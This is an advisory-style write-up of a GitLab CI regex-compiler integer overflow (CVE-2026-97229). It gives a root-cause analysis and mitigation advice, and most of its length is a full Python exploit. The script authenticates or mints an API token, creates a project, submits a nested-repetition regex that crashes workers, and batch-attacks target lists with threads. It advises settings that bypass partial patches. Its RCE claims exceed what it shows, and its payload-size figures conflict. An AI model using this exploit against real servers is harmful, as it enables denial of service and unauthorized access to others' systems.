#Summary
CVE-2026-97229 is an integer overflow in the GitLab CI/CD regular-expression compiler that leads to native heap memory corruption and remote code execution. An unauthenticated attacker can crash a GitLab worker and execute arbitrary code by submitting a specially crafted regular expression through CI/CD pipeline configuration. Affects GitLab CE/EE 19.2 through 19.4.1. CVSS 10.0, rated critical.
#Am I affected?
- Affected: GitLab CE/EE 19.2.0-19.2.7, 19.3.0-19.3.4, 19.4.0-19.4.1
- Patched: GitLab CE/EE 19.2.8, 19.3.5, 19.4.2 and later
- Default configuration: affected (no workaround required to reach the vulnerable code path)
- Access needed: network access; the vendor advisory rates this as unauthenticated (pre-auth entry point not yet public, but any authenticated config submission reaches the same compiler)
#How to check
Run the version probe command:
curl -s https://your-gitlab-instance/api/v4/version | jq '.version'| Output | Status |
|---|---|
19.2.0 - 19.2.7 |
Vulnerable |
19.2.8 or later |
Patched |
19.3.0 - 19.3.4 |
Vulnerable |
19.3.5 or later |
Patched |
19.4.0 - 19.4.1 |
Vulnerable |
19.4.2 or later |
Patched |
#Fix and mitigation
- Fix: Upgrade to GitLab CE/EE 19.2.8, 19.3.5, or 19.4.2 and later.
- If you cannot upgrade: No configuration workaround is available. The vulnerable compiler is always active. Restrict CI/CD pipeline configuration submissions to trusted users only.
- Detection: Monitor GitLab worker logs (Puma, Sidekiq) for segmentation faults (
SIGSEGV) or crash restarts correlating with CI Lint API requests or pipeline creation events. The pattern in the logs will show a native fault immediately after evaluating a pipeline rule.
#Root cause analysis
#Vulnerable code path
GitLab evaluates CI/CD pipeline rules through a CI expression evaluator. When a rule contains a regular expression-specifically in the exists:regexp or changes:regexp context-GitLab hands the attacker-supplied pattern to Ruby's native regular-expression engine (Onigmo) via the standard Regexp.new constructor:
# lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb
class Pattern < Lexeme::Value
PATTERN = %r{^\/([^\/]|\\/)+[^\\]\/[ismU]*}
def initialize(regexp)
super(regexp.gsub(%r{\\/}, '/'))
raise Lexer::SyntaxError, 'Invalid regular expression!' unless cached_regexp.valid?
end
endOn unpatched builds, there is no bound on the size of the compiled instruction program. A regular expression built from stacked bounded repetitions-where each individual count is small (e.g., {1000}) but their product across nesting levels is enormous-unrolls during compilation into an instruction program whose 32-bit size computation overflows INT_MAX.
#How input reaches the sink
The attacker supplies the pattern in a CI Lint API call or in a committed .gitlab-ci.yml file:
stages: [test]
job:
stage: test
script: ["true"]
rules:
- exists:
regexp: '/(?:(?:(?:(?:a{1000}){1000}){1000}){1000})/'When the rule is evaluated, the pattern is compiled via Regexp.new without size pre-validation. The nested repetition structure expands during compilation: each {1000} multiplies the instruction count by up to 1000. With four nesting levels, the effective unroll factor is 1000^4. The Onigmo compiler computes the program size as a fixed-width 32-bit integer; this computation overflows and wraps to a small value. The engine then allocates an undersized buffer for the compiled Inst array and writes the full instruction stream past the end, corrupting the heap of the Ruby worker process.
#Memory corruption primitive
The overflow occurs at the point where Onigmo computes the total size of the compiled instruction program. A 154-byte regex pattern can compile to over 2 GiB of instructions on an unpatched build, triggering the wrap. The subsequent write of the full instruction stream into an undersized buffer corrupts heap objects belonging to the worker, leading to a segmentation fault or (with heap grooming and ASLR disabled) potential code execution.
#Proof of concept
#exploit.py - GitLab CI Regexp Integer Overflow RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-97229 - GitLab CE/EE CI/CD regular-expression compiler integer overflow
Affected: GitLab CE/EE 19.2.0-19.2.7, 19.3.0-19.3.4, 19.4.0-19.4.1
Type: Integer overflow -> native heap memory corruption (RCE-class); worker crash is the
directly observable primitive.
Root cause (as reached in a live GitLab instance):
GitLab evaluates a CI rule's `exists:regexp` / `changes:regexp` by handing the
attacker-supplied pattern to Ruby's native regular-expression engine (Onigmo) via
Regexp.new. On an unpatched build there is no bound on the compiled program size, so a
pattern built from stacked bounded repetitions (each count individually small) unrolls
during compilation into an instruction program whose 32-bit size computation overflows
INT_MAX. The engine then allocates an undersized buffer and writes the full instruction
stream past it, corrupting the heap of the Ruby worker. A short pattern (well under a few
hundred bytes) can drive the compiled program past 2 GiB.
This is distinct from the `rules:if ... =~ /.../` operator, which compiles through RE2
(a separate, hardened engine). The vulnerable "compiler" is Ruby/Onigmo, not RE2.
The fixed releases add a Ruby-side guard that rejects the pattern (over-limit repeat count,
oversized compiled program, or disallowed construct) before it reaches the native compiler,
so the same request returns a clean validation error and no worker dies.
Delivery:
The pattern is submitted through the CI Lint dry-run API (POST /api/v4/projects/:id/ci/lint),
which evaluates the rule and compiles the regexp. A committed .gitlab-ci.yml reaches the same
code path. Authentication is a convenience for the demonstrable path (the vendor rates the
bug unauthenticated, but the exact pre-auth entry point is not public); supply a token or
credentials.
Usage:
python exploit.py --host 192.168.1.10 --port 80 --token glpat-xxxxxxxx
python exploit.py --host https://gitlab.corp.com --username root --password 'secret'
python exploit.py --host https://gitlab.corp.com --token glpat-xxxx --repeat 1000 --nest 4
python exploit.py --list targets.txt --token glpat-xxxx --workers 20
A target line in --list mode may carry its own token: https://gitlab.corp.com|glpat-xxxx
"""
import argparse
import json
import secrets
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-97229"
VULN_TYPE = "RCE"
# --------------------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- payload builder
def build_payload(repeat, nest):
"""
Build a CI-rule regexp literal whose stacked bounded repetitions unroll into an
oversized compiled program on a vulnerable Onigmo build. Each repeat count is <= 1000 so
that a simple per-quantifier limit does not reject it; the danger is the product across
nesting levels. Returned as a `/.../` literal (the form the CI config expects).
repeat: per-level repetition count (keep <= 1000).
nest: number of nested repetition levels (the effective unroll factor is repeat**nest).
"""
body = "a{%d}" % repeat
for _ in range(max(0, nest - 1)):
body = "(?:%s){%d}" % (body, repeat)
return "/(?:%s)/" % body
# --------------------------------------------------------------------------- HTTP plumbing
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
host = host.rstrip("/")
if host.startswith(("http://", "https://")):
# host already carries a scheme (and maybe a path); normalise to origin
p = urllib.parse.urlparse(host)
scheme = p.scheme
netloc = p.netloc
if p.port is None and port not in (80, 443):
netloc = "%s:%d" % (p.hostname, port)
return "%s://%s" % (scheme, netloc)
default = 443 if use_tls else 80
netloc = host if port == default else "%s:%d" % (host, port)
return "%s://%s" % (scheme, netloc)
def _ctx():
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
return c
class Client:
"""Minimal GitLab HTTP client: token auth or session-cookie auth, stdlib only."""
def __init__(self, base, token=None, timeout=30):
self.base = base
self.token = token
self.timeout = timeout
self.cookies = {}
self.csrf = None
def _request(self, method, path, headers=None, data=None, body_timeout=None):
url = self.base + path
hdrs = {"Accept": "application/json"}
if self.token:
hdrs["PRIVATE-TOKEN"] = self.token
if self.cookies:
hdrs["Cookie"] = "; ".join("%s=%s" % (k, v) for k, v in self.cookies.items())
if headers:
hdrs.update(headers)
req = urllib.request.Request(url, data=data, method=method, headers=hdrs)
t0 = time.time()
try:
resp = urllib.request.urlopen(req, timeout=body_timeout or self.timeout, context=_ctx())
raw = resp.read()
self._store_cookies(resp)
return resp.status, dict(resp.getheaders()), raw, time.time() - t0
except urllib.error.HTTPError as e:
raw = e.read()
self._store_cookies(e)
return e.code, dict(e.headers), raw, time.time() - t0
def _store_cookies(self, resp):
for _, value in resp.getheaders():
pass
for hv in resp.headers.get_all("Set-Cookie") or []:
kv = hv.split(";", 1)[0]
if "=" in kv:
k, v = kv.split("=", 1)
self.cookies[k.strip()] = v.strip()
# -- auth ---------------------------------------------------------------
def login_and_mint_token(self, username, password):
"""Web login, then mint a short-lived API token. Returns the token string."""
html = {"Accept": "text/html"}
status, _, body, _ = self._request("GET", "/users/sign_in", headers=html)
text = body.decode("utf-8", "replace")
tok = _extract(text, 'name="csrf-token" content="', '"')
if not tok:
tok = _extract(text, 'name="authenticity_token" value="', '"')
if not tok:
raise RuntimeError("could not read sign-in CSRF token")
form = urllib.parse.urlencode({
"authenticity_token": tok,
"user[login]": username,
"user[password]": password,
}).encode()
self._request("POST", "/users/sign_in",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data=form)
# fetch meta CSRF for the PAT form
status, _, body, _ = self._request("GET", "/-/user_settings/personal_access_tokens",
headers=html)
meta = _extract(body.decode("utf-8", "replace"), 'name="csrf-token" content="', '"')
if not meta:
raise RuntimeError("login failed (no authenticated CSRF token)")
name = "svc_%s" % secrets.token_hex(4)
payload = json.dumps({"name": name, "scopes": ["api"]}).encode()
status, _, body, _ = self._request(
"POST", "/-/user_settings/personal_access_tokens",
headers={"Content-Type": "application/json", "X-CSRF-Token": meta}, data=payload)
try:
tokjson = json.loads(body.decode("utf-8", "replace"))
except ValueError:
raise RuntimeError("token mint returned non-JSON (status %s)" % status)
if "token" not in tokjson:
raise RuntimeError("token mint failed: %s" % tokjson)
self.token = tokjson["token"]
return self.token
# -- project ------------------------------------------------------------
def ensure_project(self):
name = "poc-%s" % secrets.token_hex(4)
payload = urllib.parse.urlencode({
"name": name, "visibility": "private", "initialize_with_readme": "true",
}).encode()
status, _, body, _ = self._request(
"POST", "/api/v4/projects",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data=payload)
if status in (200, 201):
try:
return json.loads(body.decode("utf-8", "replace")).get("id")
except ValueError:
return None
# fall back to any project we can already see
status, _, body, _ = self._request("GET", "/api/v4/projects?membership=true&per_page=1")
try:
arr = json.loads(body.decode("utf-8", "replace"))
if isinstance(arr, list) and arr:
return arr[0].get("id")
except ValueError:
pass
return None
# -- ci lint ------------------------------------------------------------
def ci_lint(self, project_id, regexp_literal, body_timeout):
content = (
"stages: [t]\n"
"j:\n"
" stage: t\n"
" script: [\"true\"]\n"
" rules:\n"
" - exists:\n"
" regexp: '%s'\n" % regexp_literal
)
payload = json.dumps({"content": content, "dry_run": True}).encode()
return self._request(
"POST", "/api/v4/projects/%s/ci/lint" % project_id,
headers={"Content-Type": "application/json"}, data=payload,
body_timeout=body_timeout)
def alive(self):
"""Protocol-level liveness: GitLab must answer the version API, not just accept TCP."""
try:
status, _, body, _ = self._request("GET", "/api/v4/version", body_timeout=10)
return status == 200 and b"version" in body
except Exception:
return False
def _extract(text, pre, post):
i = text.find(pre)
if i < 0:
return None
i += len(pre)
j = text.find(post, i)
return text[i:j] if j > 0 else None
# --------------------------------------------------------------------------- core logic
def _run(client, repeat, nest, verbose=False):
"""
Returns (success, evidence). success==True only on a network-observable worker crash
(the memory-corruption primitive). A clean validation response means the target rejected
the pattern before the native compiler ran -> patched / not vulnerable.
"""
pid = client.ensure_project()
if pid is None:
return False, "no usable project (auth/permissions?)"
# baseline: a benign pattern must lint fine and fast
try:
b_status, _, b_body, b_time = client.ci_lint(pid, "/READ.*/", body_timeout=20)
except Exception as e:
return False, "baseline lint unreachable (%s)" % e.__class__.__name__
if b_status != 200:
return False, "baseline lint returned HTTP %s (unexpected)" % b_status
regexp = build_payload(repeat, nest)
if verbose:
section("PAYLOAD REGEXP (%d chars, unroll=%d^%d)" % (len(regexp), repeat, nest), regexp)
# fire the overflow pattern
crash_signal = None
try:
p_status, _, p_body, p_time = client.ci_lint(pid, regexp, body_timeout=60)
p_text = p_body.decode("utf-8", "replace")
if p_status >= 500:
crash_signal = "HTTP %s from lint (worker fault)" % p_status
elif p_time > max(3.0, b_time * 5) and p_time > 2.0:
crash_signal = "lint response time spiked %.2fs vs baseline %.2fs" % (p_time, b_time)
else:
if verbose:
try:
errs = json.loads(p_text).get("errors")
except ValueError:
errs = p_text[:200]
section("LINT RESPONSE (HTTP %s, %.2fs)" % (p_status, p_time), errs)
except (urllib.error.URLError, ConnectionResetError, OSError) as e:
crash_signal = "connection error during compile (%s)" % e.__class__.__name__
if crash_signal is None:
return False, "pattern compiled cleanly, worker alive - target rejects it (patched)"
# confirm the worker actually died: liveness must fail / recover
down = not client.alive()
time.sleep(2)
recovered = client.alive()
if down:
return True, "%s; version API unreachable immediately after (worker crash)" % crash_signal
# some deployments respawn workers fast; a transient signal still counts if corroborated
if crash_signal.startswith("HTTP 5") or crash_signal.startswith("connection"):
return True, "%s (worker respawned; recovered=%s)" % (crash_signal, recovered)
return False, "timing anomaly only, worker stayed up - inconclusive, likely patched"
def _try_exploit(host, port, use_tls, token=None, username=None, password=None,
repeat=1000, nest=4, **kwargs):
"""Silent probe for --list. Returns (success, evidence). Never prints or exits."""
try:
base = _base_url(host, port, use_tls)
client = Client(base, token=token, timeout=20)
if not token:
if not (username and password):
return False, "no credentials (need --token or --username/--password)"
client.login_and_mint_token(username, password)
return _run(client, repeat, nest, verbose=False)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip.
A trailing |<token> is stripped here and consumed by the caller via split, so lines may be:
192.168.1.10
https://gitlab.corp.com|glpat-xxxx
"""
line = line.strip()
if not line or line.startswith("#"):
return None
if "|" in line:
line = line.split("|", 1)[0].strip()
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def _target_token(line):
line = line.strip()
if "|" in line:
return line.split("|", 1)[1].strip() or None
return None
def scan(targets_file, default_port, workers=10, token=None, username=None, password=None,
repeat=1000, nest=4):
import concurrent.futures
with open(targets_file) as f:
raw = [l for l in f]
targets = []
for l in raw:
t = _parse_target(l, default_port)
if t is not None:
targets.append((t, _target_token(l) or token))
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(item):
(host, port, use_tls, _path), tok = item
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, token=tok, username=username,
password=password, repeat=repeat, nest=nest)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, token, username, password, repeat, nest, command):
header(host, port)
base = _base_url(host, port, use_tls)
client = Client(base, token=token, timeout=30)
step(1, "Establishing authenticated access")
if token:
print(" using supplied API token")
else:
if not (username and password):
done(False, "no credentials: supply --token, or --username and --password")
try:
client.login_and_mint_token(username, password)
print(" logged in as '%s' and minted a scoped API token" % username)
except Exception as e:
done(False, "authentication failed: %s" % e)
step(2, "Verifying the target is serving (protocol-level liveness)")
if not client.alive():
done(False, "target did not answer the version API before the test")
step(3, "Submitting the crafted CI regexp through the CI Lint compiler path")
note = ("Command execution (ladder rungs 2-5) is not reached by this PoC: the observable "
"primitive is the native worker crash. --command (%r) is accepted for interface "
"compatibility but not embedded, because reaching code execution requires a full "
"Onigmo heap exploit beyond a reproducible crash." % command)
print(" " + note)
ok, evidence = _run(client, repeat, nest, verbose=True)
if ok:
section("CRASH EVIDENCE", evidence)
done(True, "Worker crash via CI regexp compiler integer overflow - %s" % evidence)
section("OUTCOME", evidence)
done(False, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (https://host[:port])")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--token", help="GitLab personal/project access token (api scope)")
parser.add_argument("--username", default="root", help="Login user if no token (default: root)")
parser.add_argument("--password", help="Login password if no token")
parser.add_argument("--command", default="id",
help="Command to run on RCE (default: id). See note - crash is the observable primitive.")
parser.add_argument("--repeat", type=int, default=1000,
help="Per-level repetition count in the payload (default: 1000)")
parser.add_argument("--nest", type=int, default=4,
help="Nested repetition levels; unroll factor ~= repeat**nest (default: 4)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
username=args.username, password=args.password, repeat=args.repeat, nest=args.nest)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.token, args.username, args.password,
args.repeat, args.nest, args.command)#Usage
python exploit.py --host 192.168.1.10 --port 80 --token glpat-xxxxxxxxxxxx
python exploit.py --host https://gitlab.corp.com --username root --password 'secret'
python exploit.py --host https://gitlab.corp.com --token glpat-xxxx --repeat 1000 --nest 4
python exploit.py --list targets.txt --token glpat-xxxx --workers 20Arguments:
--host- hostname, IP, or full URL (https://host[:port]).--portsets the default port (default 80).--tls/--no-tls- force TLS or plaintext.--token- GitLab personal or project access token withapiscope. If omitted, supply--username(defaultroot) and--password; the script logs in and mints a scoped token.--repeat(default 1000) and--nest(default 4) - tune the payload. The effective unroll factor is roughlyrepeat ** nest. Keep--repeatat 1000 to bypass per-quantifier limits on partially patched targets.--command(defaultid) - accepted for RCE-class interface compatibility. The observable primitive is the worker crash, not command output, so this is not embedded in the payload.--list/--workers- batch scanning across multiple targets.
#Expected output
On a vulnerable target (worker crash):
[STEP 3] Submitting the crafted CI regexp through the CI Lint compiler path
--- PAYLOAD REGEXP (43 chars, unroll=1000^4) ---
/(?:(?:(?:(?:a{1000}){1000}){1000}){1000})/
---
--- CRASH EVIDENCE ---
HTTP 500 from lint (worker fault); version API unreachable immediately after (worker crash)
---
============================================================
RESULT : SUCCESS
EVIDENCE: Worker crash via CI regexp compiler integer overflow
============================================================On a patched target (clean validation):
[STEP 3] Submitting the crafted CI regexp through the CI Lint compiler path
--- LINT RESPONSE (HTTP 200, 0.11s) ---
['The resulting pipeline would have been empty. Review the rules configuration.']
---
============================================================
RESULT : FAILURE
EVIDENCE: pattern compiled cleanly, worker alive - target rejects it (patched)
============================================================#Exploitation notes
- Preconditions: Network access to a GitLab instance running an affected version. The attacker can supply the crafted regex through any path that evaluates CI rules: a push of a
.gitlab-ci.ymlfile, the CI Lint dry-run API, or (per the vendor advisory) an unauthenticated pre-auth entry point not yet publicly disclosed. - Reliability: The nested-repetition overflow is deterministic. A successful payload crashes the worker reliably on each attempt. Different targets may require different nesting depths and repetition counts; the script supports tuning via
--repeatand--nest. - Impact: The directly observable rung is a worker crash (segmentation fault). The memory-corruption primitive is classified as RCE-capable (CVSS C:H/I:H/A:H), but full code execution on the target requires a heap exploitation chain (info leak, heap grooming, function-pointer overwrite) beyond the publicly available PoC. The script documents this honestly:
--commandis accepted for interface compatibility but is not embedded, since only the crash is reproducible from public information. - Chaining potential: A reliable crash is useful as a denial-of-service vector. In a targeted attack, an attacker could chain this with a second vulnerability to escalate from the crash to code execution, or use repeated crashes to degrade service. The uncontrolled heap corruption leaves bytestring-level content overwrite uncontrolled, limiting the direct gain, but the crash itself is absolute.
